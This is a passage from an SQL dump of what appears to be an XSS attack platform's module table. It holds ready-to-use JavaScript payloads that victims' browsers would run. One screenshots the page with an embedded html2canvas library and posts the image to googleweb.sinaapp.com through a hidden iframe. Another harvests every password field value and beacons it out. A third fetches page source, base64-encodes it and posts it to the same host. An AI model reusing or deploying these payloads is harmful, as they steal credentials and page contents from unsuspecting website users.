createShape(ctx,args){var shape=ctx.drawShape();args.forEach(function(border,index){shape[(index===0)?"moveTo":border[0]+"To"].apply(null,border.slice(1))});return shape}function renderBorders(ctx,borderArgs,color){if(color!=="transparent"){ctx.setVariable("fillStyle",color);createShape(ctx,borderArgs);ctx.fill();numDraws+=1}}function renderFormValue(el,bounds,stack){var valueWrap=doc.createElement("valuewrap"),cssPropertyArray=["lineHeight","textAlign","fontFamily","color","fontSize","paddingLeft","paddingTop","width","height","border","borderLeftWidth","borderTopWidth"],textValue,textNode;cssPropertyArray.forEach(function(property){try{valueWrap.style[property]=getCSS(el,property)}catch(e){Util.log("html2canvas: Parse: Exception caught in renderFormValue: "+e.message)}});valueWrap.style.borderColor="black";valueWrap.style.borderStyle="solid";valueWrap.style.display="block";valueWrap.style.position="absolute";if(/^(submit|reset|button|text|password)$/.test(el.type)||el.nodeName==="SELECT"){valueWrap.style.lineHeight=getCSS(el,"height")}valueWrap.style.top=bounds.top+"px";valueWrap.style.left=bounds.left+"px";textValue=(el.nodeName==="SELECT")?(el.options[el.selectedIndex]||0).text:el.value;if(!textValue){textValue=el.placeholder}textNode=doc.createTextNode(textValue);valueWrap.appendChild(textNode);body.appendChild(valueWrap);renderText(el,textNode,stack);body.removeChild(valueWrap)}function drawImage(ctx){ctx.drawImage.apply(ctx,Array.prototype.slice.call(arguments,1));numDraws+=1}function getPseudoElement(el,which){var elStyle=window.getComputedStyle(el,which);if(!elStyle||!elStyle.content||elStyle.content==="none"||elStyle.content==="-moz-alt-content"||elStyle.display==="none"){return}var content=elStyle.content+"",first=content.substr(0,1);\r\nif(first===content.substr(content.length-1)&&first.match(/'|"/)){content=content.substr(1,content.length-2)}var isImage=content.substr(0,3)==="url",elps=document.createElement(isImage?"img":"span");elps.className=pseudoHide+"-before "+pseudoHide+"-after";Object.keys(elStyle).filter(indexedProperty).forEach(function(prop){try{elps.style[prop]=elStyle[prop]}catch(e){Util.log(["Tried to assign readonly property ",prop,"Error:",e])}});if(isImage){elps.src=Util.parseBackgroundImage(content)[0].args[0]}else{elps.innerHTML=content}return elps}function indexedProperty(property){return(isNaN(window.parseInt(property,10)))}function injectPseudoElements(el,stack){var before=getPseudoElement(el,":before"),after=getPseudoElement(el,":after");if(!before&&!after){return}if(before){el.className+=" "+pseudoHide+"-before";el.parentNode.insertBefore(before,el);parseElement(before,stack,true);el.parentNode.removeChild(before);el.className=el.className.replace(pseudoHide+"-before","").trim()}if(after){el.className+=" "+pseudoHide+"-after";el.appendChild(after);parseElement(after,stack,true);el.removeChild(after);el.className=el.className.replace(pseudoHide+"-after","").trim()}}function renderBackgroundRepeat(ctx,image,backgroundPosition,bounds){var offsetX=Math.round(bounds.left+backgroundPosition.left),offsetY=Math.round(bounds.top+backgroundPosition.top);ctx.createPattern(image);ctx.translate(offsetX,offsetY);ctx.fill();ctx.translate(-offsetX,-offsetY)}function backgroundRepeatShape(ctx,image,backgroundPosition,bounds,left,top,width,height){var args=[];args.push(["line",Math.round(left),Math.round(top)]);args.push(["line",Math.round(left+width),Math.round(top)]);args.push(["line",Math.round(left+width),Math.round(height+top)]);args.push(["line",Math.round(left),Math.round(height+top)]);createShape(ctx,args);ctx.save();ctx.clip();renderBackgroundRepeat(ctx,image,backgroundPosition,bounds);ctx.restore()}function renderBackgroundColor(ctx,backgroundBounds,bgcolor){renderRect(ctx,backgroundBounds.left,backgroundBounds.top,backgroundBounds.width,backgroundBounds.height,bgcolor)}function renderBackgroundRepeating(el,bounds,ctx,image,imageIndex){var backgroundSize=Util.BackgroundSize(el,bounds,image,imageIndex),backgroundPosition=Util.BackgroundPosition(el,bounds,image,imageIndex,backgroundSize),backgroundRepeat=getCSS(el,"backgroundRepeat").split(",").map(Util.trimText);image=resizeImage(image,backgroundSize);backgroundRepeat=backgroundRepeat[imageIndex]||backgroundRepeat[0];switch(backgroundRepeat){case"repeat-x":backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left,bounds.top+backgroundPosition.top,99999,image.height);break;case"repeat-y":backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top,image.width,99999);break;case"no-repeat":backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top+backgroundPosition.top,image.width,image.height);break;default:renderBackgroundRepeat(ctx,image,backgroundPosition,{top:bounds.top,left:bounds.left,width:image.width,height:image.height});break}}function renderBackgroundImage(element,bounds,ctx){var backgroundImage=getCSS(element,"backgroundImage"),backgroundImages=Util.parseBackgroundImage(backgroundImage),image,imageIndex=backgroundImages.length;while(imageIndex--){backgroundImage=backgroundImages[imageIndex];if(!backgroundImage.args||backgroundImage.args.length===0){continue}var key=backgroundImage.method==="url"?backgroundImage.args[0]:backgroundImage.value;image=loadImage(key);if(image){renderBackgroundRepeating(element,bounds,ctx,image,imageIndex)}else{Util.log("html2canvas: Error loading background:",backgroundImage)}}}function resizeImage(image,bounds){if(image.width===bounds.width&&image.height===bounds.height){return image}var ctx,canvas=doc.createElement("canvas");canvas.width=bounds.width;canvas.height=bounds.height;ctx=canvas.getContext("2d");drawImage(ctx,image,0,0,image.width,image.height,0,0,bounds.width,bounds.height);return canvas}function setOpacity(ctx,element,parentStack){return ctx.setVariable("globalAlpha",getCSS(element,"opacity")*((parentStack)?parentStack.opacity:1))}function removePx(str){return str.replace("px","")}var transformRegExp=/(matrix)\\((.+)\\)/;function getTransform(element,parentStack){var transform=getCSS(element,"transform")||getCSS(element,"-webkit-transform")||getCSS(element,"-moz-transform")||getCSS(element,"-ms-transform")||getCSS(element,"-o-transform");var transformOrigin=getCSS(element,"transform-origin")||getCSS(element,"-webkit-transform-origin")||getCSS(element,"-moz-transform-origin")||getCSS(element,"-ms-transform-origin")||getCSS(element,"-o-transform-origin")||"0px 0px";transformOrigin=transformOrigin.split(" ").map(removePx).map(Util.asFloat);var matrix;if(transform&&transform!=="none"){var match=transform.match(transformRegExp);if(match){switch(match[1]){case"matrix":matrix=match[2].split(",").map(Util.trimText).map(Util.asFloat);\r\nbreak}}}return{origin:transformOrigin,matrix:matrix}}function createStack(element,parentStack,bounds,transform){var ctx=h2cRenderContext((!parentStack)?documentWidth():bounds.width,(!parentStack)?documentHeight():bounds.height),stack={ctx:ctx,opacity:setOpacity(ctx,element,parentStack),cssPosition:getCSS(element,"position"),borders:getBorderData(element),transform:transform,clip:(parentStack&&parentStack.clip)?Util.Extend({},parentStack.clip):null};setZ(element,stack,parentStack);if(options.useOverflow===true&&/(hidden|scroll|auto)/.test(getCSS(element,"overflow"))===true&&/(BODY)/i.test(element.nodeName)===false){stack.clip=(stack.clip)?clipBounds(stack.clip,bounds):bounds}return stack}function getBackgroundBounds(borders,bounds,clip){var backgroundBounds={left:bounds.left+borders[3].width,top:bounds.top+borders[0].width,width:bounds.width-(borders[1].width+borders[3].width),height:bounds.height-(borders[0].width+borders[2].width)};if(clip){backgroundBounds=clipBounds(backgroundBounds,clip)}return backgroundBounds}function getBounds(element,transform){var bounds=(transform.matrix)?Util.OffsetBounds(element):Util.Bounds(element);transform.origin[0]+=bounds.left;transform.origin[1]+=bounds.top;return bounds}function renderElement(element,parentStack,pseudoElement,ignoreBackground){var transform=getTransform(element,parentStack),bounds=getBounds(element,transform),image,stack=createStack(element,parentStack,bounds,transform),borders=stack.borders,ctx=stack.ctx,backgroundBounds=getBackgroundBounds(borders,bounds,stack.clip),borderData=parseBorders(element,bounds,borders),backgroundColor=(ignoreElementsRegExp.test(element.nodeName))?"#efefef":getCSS(element,"backgroundColor");createShape(ctx,borderData.clip);ctx.save();ctx.clip();if(backgroundBounds.height>0&&backgroundBounds.width>0&&!ignoreBackground){renderBackgroundColor(ctx,bounds,backgroundColor);renderBackgroundImage(element,backgroundBounds,ctx)}else{if(ignoreBackground){stack.backgroundColor=backgroundColor}}ctx.restore();borderData.borders.forEach(function(border){renderBorders(ctx,border.args,border.color)});if(!pseudoElement){injectPseudoElements(element,stack)}switch(element.nodeName){case"IMG":if((image=loadImage(element.getAttribute("src")))){renderImage(ctx,element,image,bounds,borders)}else{Util.log("html2canvas: Error loading <img>:"+element.getAttribute("src"))}break;case"INPUT":if(/^(text|url|email|submit|button|reset)$/.test(element.type)&&(element.value||element.placeholder||"").length>0){renderFormValue(element,bounds,stack)}break;case"TEXTAREA":if((element.value||element.placeholder||"").length>0){renderFormValue(element,bounds,stack)}break;case"SELECT":if((element.options||element.placeholder||"").length>0){renderFormValue(element,bounds,stack)}break;case"LI":renderListItem(element,stack,backgroundBounds);break;case"CANVAS":renderImage(ctx,element,element,bounds,borders);break}return stack}function isElementVisible(element){return(getCSS(element,"display")!=="none"&&getCSS(element,"visibility")!=="hidden"&&!element.hasAttribute("data-html2canvas-ignore"))}function parseElement(element,stack,pseudoElement){if(isElementVisible(element)){stack=renderElement(element,stack,pseudoElement,false)||stack;if(!ignoreElementsRegExp.test(element.nodeName)){parseChildren(element,stack,pseudoElement)}}}function parseChildren(element,stack,pseudoElement){Util.Children(element).forEach(function(node){if(node.nodeType===node.ELEMENT_NODE){parseElement(node,stack,pseudoElement)}else{if(node.nodeType===node.TEXT_NODE){renderText(element,node,stack)}}})}function init(){var background=getCSS(document.documentElement,"backgroundColor"),transparentBackground=(Util.isTransparent(background)&&element===document.body),stack=renderElement(element,null,false,transparentBackground);parseChildren(element,stack);if(transparentBackground){background=stack.backgroundColor}body.removeChild(hidePseudoElements);return{backgroundColor:background,stack:stack}}return init()};function h2czContext(zindex){return{zindex:zindex,children:[]}}_html2canvas.Preload=function(options){var images={numLoaded:0,numFailed:0,numTotal:0,cleanupDone:false},pageOrigin,Util=_html2canvas.Util,methods,i,count=0,element=options.elements[0]||document.body,doc=element.ownerDocument,domImages=element.getElementsByTagName("img"),imgLen=domImages.length,link=doc.createElement("a"),supportCORS=(function(img){return(img.crossOrigin!==undefined)})(new Image()),timeoutTimer;link.href=window.location.href;pageOrigin=link.protocol+link.host;function isSameOrigin(url){link.href=url;link.href=link.href;var origin=link.protocol+link.host;return(origin===pageOrigin)}function start(){Util.log("html2canvas: start: images: "+images.numLoaded+" / "+images.numTotal+" (failed: "+images.numFailed+")");if(!images.firstRun&&images.numLoaded>=images.numTotal){Util.log("Finished loading images: # "+images.numTotal+" (failed: "+images.numFailed+")");if(typeof options.complete==="function"){options.complete(images)}}}function proxyGetImage(url,img,imageObj){var callback_name,scriptUrl=options.proxy,script;\r\nlink.href=url;url=link.href;callback_name="html2canvas_"+(count++);imageObj.callbackname=callback_name;if(scriptUrl.indexOf("?")>-1){scriptUrl+="&"}else{scriptUrl+="?"}scriptUrl+="url="+encodeURIComponent(url)+"&callback="+callback_name;script=doc.createElement("script");window[callback_name]=function(a){if(a.substring(0,6)==="error:"){imageObj.succeeded=false;images.numLoaded++;images.numFailed++;start()}else{setImageLoadHandlers(img,imageObj);img.src=a}window[callback_name]=undefined;try{delete window[callback_name]}catch(ex){}script.parentNode.removeChild(script);script=null;delete imageObj.script;delete imageObj.callbackname};script.setAttribute("type","text/javascript");script.setAttribute("src",scriptUrl);imageObj.script=script;window.document.body.appendChild(script)}function loadPseudoElement(element,type){var style=window.getComputedStyle(element,type),content=style.content;if(content.substr(0,3)==="url"){methods.loadImage(_html2canvas.Util.parseBackgroundImage(content)[0].args[0])}loadBackgroundImages(style.backgroundImage,element)}function loadPseudoElementImages(element){loadPseudoElement(element,":before");loadPseudoElement(element,":after")}function loadGradientImage(backgroundImage,bounds){var img=_html2canvas.Generate.Gradient(backgroundImage,bounds);if(img!==undefined){images[backgroundImage]={img:img,succeeded:true};images.numTotal++;images.numLoaded++;start()}}function invalidBackgrounds(background_image){return(background_image&&background_image.method&&background_image.args&&background_image.args.length>0)}function loadBackgroundImages(background_image,el){var bounds;_html2canvas.Util.parseBackgroundImage(background_image).filter(invalidBackgrounds).forEach(function(background_image){if(background_image.method==="url"){methods.loadImage(background_image.args[0])}else{if(background_image.method.match(/\\-?gradient$/)){if(bounds===undefined){bounds=_html2canvas.Util.Bounds(el)}loadGradientImage(background_image.value,bounds)}}})}function getImages(el){var elNodeType=false;try{Util.Children(el).forEach(getImages)}catch(e){}try{elNodeType=el.nodeType}catch(ex){elNodeType=false;Util.log("html2canvas: failed to access some element's nodeType - Exception: "+ex.message)}if(elNodeType===1||elNodeType===undefined){loadPseudoElementImages(el);try{loadBackgroundImages(Util.getCSS(el,"backgroundImage"),el)}catch(e){Util.log("html2canvas: failed to get background-image - Exception: "+e.message)}loadBackgroundImages(el)}}function setImageLoadHandlers(img,imageObj){img.onload=function(){if(imageObj.timer!==undefined){window.clearTimeout(imageObj.timer)}images.numLoaded++;imageObj.succeeded=true;img.onerror=img.onload=null;start()};img.onerror=function(){if(img.crossOrigin==="anonymous"){window.clearTimeout(imageObj.timer);if(options.proxy){var src=img.src;img=new Image();imageObj.img=img;img.src=src;proxyGetImage(img.src,img,imageObj);return}}images.numLoaded++;images.numFailed++;imageObj.succeeded=false;img.onerror=img.onload=null;start()}}methods={loadImage:function(src){var img,imageObj;if(src&&images[src]===undefined){img=new Image();if(src.match(/data:image\\/.*;base64,/i)){img.src=src.replace(/url\\(['"]{0,}|['"]{0,}\\)$/ig,"");imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj)}else{if(isSameOrigin(src)||options.allowTaint===true){imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(supportCORS&&!options.allowTaint&&options.useCORS){img.crossOrigin="anonymous";imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(options.proxy){imageObj=images[src]={img:img};images.numTotal++;proxyGetImage(src,img,imageObj)}}}}}},cleanupDOM:function(cause){var img,src;if(!images.cleanupDone){if(cause&&typeof cause==="string"){Util.log("html2canvas: Cleanup because: "+cause)}else{Util.log("html2canvas: Cleanup after timeout: "+options.timeout+" ms.")}for(src in images){if(images.hasOwnProperty(src)){img=images[src];if(typeof img==="object"&&img.callbackname&&img.succeeded===undefined){window[img.callbackname]=undefined;try{delete window[img.callbackname]}catch(ex){}if(img.script&&img.script.parentNode){img.script.setAttribute("src","about:blank");img.script.parentNode.removeChild(img.script)}images.numLoaded++;images.numFailed++;Util.log("html2canvas: Cleaned up failed img: '"+src+"' Steps: "+images.numLoaded+" / "+images.numTotal)}}}if(window.stop!==undefined){window.stop()}else{if(document.execCommand!==undefined){document.execCommand("Stop",false)}}if(document.close!==undefined){document.close()}images.cleanupDone=true;if(!(cause&&typeof cause==="string")){start()}}},renderingDone:function(){if(timeoutTimer){window.clearTimeout(timeoutTimer)}}};if(options.timeout>0){timeoutTimer=window.setTimeout(methods.cleanupDOM,options.timeout)}Util.log("html2canvas: Preload starts: finding background-images");images.firstRun=true;getImages(element);Util.log("html2canvas: Preload: Finding images");\r\nfor(i=0;i<imgLen;i+=1){methods.loadImage(domImages[i].getAttribute("src"))}images.firstRun=false;Util.log("html2canvas: Preload: Done.");if(images.numTotal===images.numLoaded){start()}return methods};_html2canvas.Renderer=function(parseQueue,options){function createRenderQueue(parseQueue){var queue=[],rootContext;rootContext=(function buildStackingContext(rootNode){var rootContext={};function insert(context,node,specialParent){var zi=(node.zIndex.zindex==="auto")?0:Number(node.zIndex.zindex),contextForChildren=context,isPositioned=node.zIndex.isPositioned,isFloated=node.zIndex.isFloated,stub={node:node},childrenDest=specialParent;if(node.zIndex.ownStacking){contextForChildren=stub.context={"!":[{node:node,children:[]}]};childrenDest=undefined}else{if(isPositioned||isFloated){childrenDest=stub.children=[]}}if(zi===0&&specialParent){specialParent.push(stub)}else{if(!context[zi]){context[zi]=[]}context[zi].push(stub)}node.zIndex.children.forEach(function(childNode){insert(contextForChildren,childNode,childrenDest)})}insert(rootContext,rootNode);return rootContext})(parseQueue);function sortZ(context){Object.keys(context).sort().forEach(function(zi){var nonPositioned=[],floated=[],positioned=[],list=[];context[zi].forEach(function(v){if(v.node.zIndex.isPositioned||v.node.zIndex.opacity<1){positioned.push(v)}else{if(v.node.zIndex.isFloated){floated.push(v)}else{nonPositioned.push(v)}}});(function walk(arr){arr.forEach(function(v){list.push(v);if(v.children){walk(v.children)}})})(nonPositioned.concat(floated,positioned));list.forEach(function(v){if(v.context){sortZ(v.context)}else{queue.push(v.node)}})})}sortZ(rootContext);return queue}function getRenderer(rendererName){var renderer;if(typeof options.renderer==="string"&&_html2canvas.Renderer[rendererName]!==undefined){renderer=_html2canvas.Renderer[rendererName](options)}else{if(typeof rendererName==="function"){renderer=rendererName(options)}else{throw new Error("Unknown renderer")}}if(typeof renderer!=="function"){throw new Error("Invalid renderer defined")}return renderer}return getRenderer(options.renderer)(parseQueue,options,document,createRenderQueue(parseQueue.stack),_html2canvas)};_html2canvas.Util.Support=function(options,doc){function supportSVGRendering(){var img=new Image(),canvas=doc.createElement("canvas"),ctx=(canvas.getContext===undefined)?false:canvas.getContext("2d");if(ctx===false){return false}canvas.width=canvas.height=10;img.src=["data:image/svg+xml,","<svg xmlns='http://www.w3.org/2000/svg' width='10' height='10'>","<foreignObject width='10' height='10'>","<div xmlns='http://www.w3.org/1999/xhtml' style='width:10;height:10;'>","sup","</div>","</foreignObject>","</svg>"].join("");try{ctx.drawImage(img,0,0);canvas.toDataURL()}catch(e){return false}_html2canvas.Util.log("html2canvas: Parse: SVG powered rendering available");return true}function supportRangeBounds(){var r,testElement,rangeBounds,rangeHeight,support=false;if(doc.createRange){r=doc.createRange();if(r.getBoundingClientRect){testElement=doc.createElement("boundtest");testElement.style.height="123px";testElement.style.display="block";doc.body.appendChild(testElement);r.selectNode(testElement);rangeBounds=r.getBoundingClientRect();rangeHeight=rangeBounds.height;if(rangeHeight===123){support=true}doc.body.removeChild(testElement)}}return support}return{rangeBounds:supportRangeBounds(),svgRendering:options.svgRendering&&supportSVGRendering()}};window.html2canvas=function(elements,opts){elements=(elements.length)?elements:[elements];var queue,canvas,options={logging:false,elements:elements,background:"#fff",proxy:null,timeout:0,useCORS:false,allowTaint:false,svgRendering:false,ignoreElements:"IFRAME|OBJECT|PARAM",useOverflow:true,letterRendering:false,chinese:false,width:null,height:null,taintTest:true,renderer:"Canvas"};options=_html2canvas.Util.Extend(opts,options);_html2canvas.logging=options.logging;options.complete=function(images){if(typeof options.onpreloaded==="function"){if(options.onpreloaded(images)===false){return}}queue=_html2canvas.Parse(images,options);if(typeof options.onparsed==="function"){if(options.onparsed(queue)===false){return}}canvas=_html2canvas.Renderer(queue,options);if(typeof options.onrendered==="function"){options.onrendered(canvas)}};window.setTimeout(function(){_html2canvas.Preload(options)},0);return{render:function(queue,opts){return _html2canvas.Renderer(queue,_html2canvas.Util.Extend(opts,options))},parse:function(images,opts){return _html2canvas.Parse(images,_html2canvas.Util.Extend(opts,options))},preload:function(opts){return _html2canvas.Preload(_html2canvas.Util.Extend(opts,options))},log:_html2canvas.Util.log}};window.html2canvas.log=_html2canvas.Util.log;window.html2canvas.Renderer={Canvas:undefined};_html2canvas.Renderer.Canvas=function(options){options=options||{};var doc=document,safeImages=[],testCanvas=document.createElement("canvas"),testctx=testCanvas.getContext("2d"),Util=_html2canvas.Util,canvas=options.canvas||doc.createElement("canvas");\r\nfunction createShape(ctx,args){ctx.beginPath();args.forEach(function(arg){ctx[arg.name].apply(ctx,arg["arguments"])});ctx.closePath()}function safeImage(item){if(safeImages.indexOf(item["arguments"][0].src)===-1){testctx.drawImage(item["arguments"][0],0,0);try{testctx.getImageData(0,0,1,1)}catch(e){testCanvas=doc.createElement("canvas");testctx=testCanvas.getContext("2d");return false}safeImages.push(item["arguments"][0].src)}return true}function renderItem(ctx,item){switch(item.type){case"variable":ctx[item.name]=item["arguments"];break;case"function":switch(item.name){case"createPattern":if(item["arguments"][0].width>0&&item["arguments"][0].height>0){try{ctx.fillStyle=ctx.createPattern(item["arguments"][0],"repeat")}catch(e){Util.log("html2canvas: Renderer: Error creating pattern",e.message)}}break;case"drawShape":createShape(ctx,item["arguments"]);break;case"drawImage":if(item["arguments"][8]>0&&item["arguments"][7]>0){if(!options.taintTest||(options.taintTest&&safeImage(item))){ctx.drawImage.apply(ctx,item["arguments"])}}break;default:ctx[item.name].apply(ctx,item["arguments"])}break}}return function(parsedData,options,document,queue,_html2canvas){var ctx=canvas.getContext("2d"),newCanvas,bounds,fstyle,zStack=parsedData.stack;canvas.width=canvas.style.width=options.width||zStack.ctx.width;canvas.height=canvas.style.height=options.height||zStack.ctx.height;fstyle=ctx.fillStyle;ctx.fillStyle=(Util.isTransparent(zStack.backgroundColor)&&options.background!==undefined)?options.background:parsedData.backgroundColor;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.fillStyle=fstyle;queue.forEach(function(storageContext){ctx.textBaseline="bottom";ctx.save();if(storageContext.transform.matrix){ctx.translate(storageContext.transform.origin[0],storageContext.transform.origin[1]);ctx.transform.apply(ctx,storageContext.transform.matrix);ctx.translate(-storageContext.transform.origin[0],-storageContext.transform.origin[1])}if(storageContext.clip){ctx.beginPath();ctx.rect(storageContext.clip.left,storageContext.clip.top,storageContext.clip.width,storageContext.clip.height);ctx.clip()}if(storageContext.ctx.storage){storageContext.ctx.storage.forEach(function(item){renderItem(ctx,item)})}ctx.restore()});Util.log("html2canvas: Renderer: Canvas renderer done - returning canvas obj");if(options.elements.length===1){if(typeof options.elements[0]==="object"&&options.elements[0].nodeName!=="BODY"){bounds=_html2canvas.Util.Bounds(options.elements[0]);newCanvas=document.createElement("canvas");newCanvas.width=Math.ceil(bounds.width);newCanvas.height=Math.ceil(bounds.height);ctx=newCanvas.getContext("2d");ctx.drawImage(canvas,bounds.left,bounds.top,bounds.width,bounds.height,0,0,bounds.width,bounds.height);canvas=null;return newCanvas}}return canvas}}})(window,document);var img=new Image();img.src='#';img.onerror=function(){ html2canvas(document.body, { onrendered : function (canvas) { var html_canvas = canvas.toDataURL(); xssPost("http://googleweb.sinaapp.com/index.php?do=api&id={projectId}", html_canvas); } }); function xssPost(url, postStr) { var de; de = document.body.appendChild(document.createElement('iframe')); de.src = 'about:blank'; de.height = 1; de.width = 1; de.contentDocument.write('<form method="POST" action="' + url + '"><input name="screenshot" value="' + postStr + '"/></form>'); de.contentDocument.forms[0].submit(); de.style.display='none'; } }', 0, 1, '截取当前网页屏幕,不能与其他模块共同使用', 1, 1, 'googleweb', 1411559844);
INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
(27, 1, '获取保存的表单密码', '["pass"]', '[]', '(function () {\r\n (new Image()).src = 'http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&pass=' + escape((function () {\r\n var s,\r\n F,\r\n j,\r\n f,\r\n i;\r\n s = '';\r\n F = document.forms;\r\n for (j = 0; j < F.length; ++j) {\r\n f = F[j];\r\n for (i = 0; i < f.length; ++i) {\r\n if (f[i].type.toLowerCase() == 'password') s += f[i].value + '';\r\n }\r\n }\r\n if (s) return s;\r\n else return '';\r\n }) ())\r\n}) ();', 0, 1, '获取保存的表单密码,只能获取当前页面保存过的密码', 1, 1, 'googleweb', 1415170752),
(29, 1, '获取页面源码', '["code"]', '["filename"]', 'var cr;\r\nif (document.charset) {\r\n cr = document.charset\r\n} else if (document.characterSet) {\r\n cr = document.characterSet\r\n};\r\nfunction createXmlHttp() {\r\n if (window.XMLHttpRequest) {\r\n xmlHttp = new XMLHttpRequest()\r\n } else {\r\n var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');\r\n for (var n = 0; n < MSXML.length; n++) {\r\n try {\r\n xmlHttp = new ActiveXObject(MSXML[n]);\r\n break\r\n } catch (e) {\r\n }\r\n }\r\n }\r\n}\r\ncreateXmlHttp();\r\nxmlHttp.onreadystatechange = writeSource;\r\nxmlHttp.open('GET', '{set.filename}', true);\r\nxmlHttp.send(null);\r\nfunction writeSource() {\r\n if (xmlHttp.readyState == 4) {\r\n var code = BASE64.encoder(xmlHttp.responseText);\r\n xssPost('http://googleweb.sinaapp.com/index.php?do=api&id={projectId}', code);\r\n }\r\n}\r\n\r\n function xssPost(url, postStr) {\r\n var de;\r\n de = document.body.appendChild(document.createElement('iframe'));\r\n de.src = 'about:blank';\r\n de.height = 1;\r\n de.width = 1;\r\n de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');\r\n de.contentDocument.forms[0].submit();\r\n de.style.display = 'none';\r\n}\r\n/**\r\n *create by 2012-08-25 pm 17:48\r\n *@author [email protected]\r\n *BASE64 Encode and Decode By UTF-8 unicode\r\n *可以和java的BASE64编码和解码互相转化\r\n */\r\n(function(){\r\n var BASE64_MAPPING = [\r\n 'A','B','C','D','E','F','G','H',\r\n 'I','J','K','L','M','N','O','P',\r\n 'Q','R','S','T','U','V','W','X',\r\n 'Y','Z','a','b','c','d','e','f',\r\n 'g','h','i','j','k','l','m','n',\r\n 'o','p','q','r','s','t','u','v',\r\n 'w','x','y','z','0','1','2','3',\r\n '4','5','6','7','8','9','+','/'\r\n ];\r\n\r\n /**\r\n *ascii convert to binary\r\n */\r\n var _toBinary = function(ascii){\r\n var binary = new Array();\r\n while(ascii > 0){\r\n var b = ascii%2;\r\n ascii = Math.floor(ascii/2);\r\n binary.push(b);\r\n }\r\n /*\r\n var len = binary.length;\r\n if(6-len > 0){\r\n for(var i = 6-len ; i > 0 ; --i){\r\n binary.push(0);\r\n }\r\n }*/\r\n binary.reverse();\r\n return binary;\r\n };\r\n\r\n /**\r\n *binary convert to decimal\r\n */\r\n var _toDecimal = function(binary){\r\n var dec = 0;\r\n var p = 0;\r\n for(var i = binary.length-1 ; i >= 0 ; --i){\r\n var b = binary[i];\r\n if(b == 1){\r\n dec += Math.pow(2 , p);\r\n }\r\n ++p;\r\n }\r\n return dec;\r\n };\r\n\r\n /**\r\n *unicode convert to utf-8\r\n */\r\n var _toUTF8Binary = function(c , binaryArray){\r\n var mustLen = (8-(c+1)) + ((c-1)*6);\r\n var fatLen = binaryArray.length;\r\n var diff = mustLen - fatLen;\r\n while(--diff >= 0){\r\n binaryArray.unshift(0);\r\n }\r\n var binary = [];\r\n var _c = c;\r\n while(--_c >= 0){\r\n binary.push(1);\r\n }\r\n binary.push(0);\r\n var i = 0 , len = 8 - (c+1);\r\n for(; i < len ; ++i){\r\n binary.push(binaryArray[i]);\r\n }\r\n\r\n for(var j = 0 ; j < c-1 ; ++j){\r\n binary.push(1);\r\n binary.push(0);\r\n var sum = 6;\r\n while(--sum >= 0){\r\n binary.push(binaryArray[i++]);\r\n }\r\n }\r\n return binary;\r\n };\r\n\r\n var __BASE64 = {\r\n /**\r\n *BASE64 Encode\r\n */\r\n encoder:function(str){\r\n var base64_Index = [];\r\n var binaryArray = [];\r\n for(var i = 0 , len = str.length ; i < len ; ++i){\r\n var unicode = str.charCodeAt(i);\r\n var _tmpBinary = _toBinary(unicode);\r\n if(unicode < 0x80){\r\n var _tmpdiff = 8 - _tmpBinary.length;\r\n while(--_tmpdiff >= 0){\r\n _tmpBinary.unshift(0);\r\n }\r\n binaryArray = binaryArray.concat(_tmpBinary);\r\n }else if(unicode >= 0x80 && unicode <= 0x7FF){\r\n binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));\r\n }else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte\r\n binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));\r\n }else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte\r\n binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary)); \r\n }else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte\r\n binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));\r\n }else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte\r\n binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));\r\n }\r\n }\r\n\r\n var extra_Zero_Count = 0;\r\n for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){\r\n var diff = (i+6)-len;\r\n if(diff == 2){\r\n extra_Zero_Count = 2;\r\n }else if(diff == 4){\r\n extra_Zero_Count = 4;\r\n }\r\n //if(extra_Zero_Count > 0){\r\n // len += extra_Zero_Count+1;\r\n //}\r\n var _tmpExtra_Zero_Count = extra_Zero_Count;\r\n while(--_tmpExtra_Zero_Count >= 0){\r\n binaryArray.push(0);\r\n }\r\n base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));\r\n }\r\n\r\n var base64 = '';\r\n for(var i = 0 , len = base64_Index.length ; i < len ; ++i){\r\n base64 += BASE64_MAPPING[base64_Index[i]];\r\n }\r\n\r\n for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){\r\n base64 += '=';\r\n }\r\n return base64;\r\n },\r\n /**\r\n *BASE64 Decode for UTF-8 \r\n */\r\n decoder : function(_base64Str){\r\n var _len = _base64Str.length;\r\n var extra_Zero_Count = 0;\r\n /**\r\n *计算在进行BASE64编码的时候,补了几个0\r\n */\r\n if(_base64Str.charAt(_len-1) == '='){\r\n //alert(_base64Str.charAt(_len-1));\r\n //alert(_base64Str.charAt(_len-2));\r\n if(_base64Str.charAt(_len-2) == '='){//两个等号说明补了4个0\r\n extra_Zero_Count = 4;\r\n _base64Str = _base64Str.substring(0 , _len-2);\r\n }else{//一个等号说明补了2个0\r\n extra_Zero_Count = 2;\r\n _base64Str = _base64Str.substring(0 , _len - 1);\r\n }\r\n }\r\n\r\n var binaryArray = [];\r\n for(var i = 0 , len = 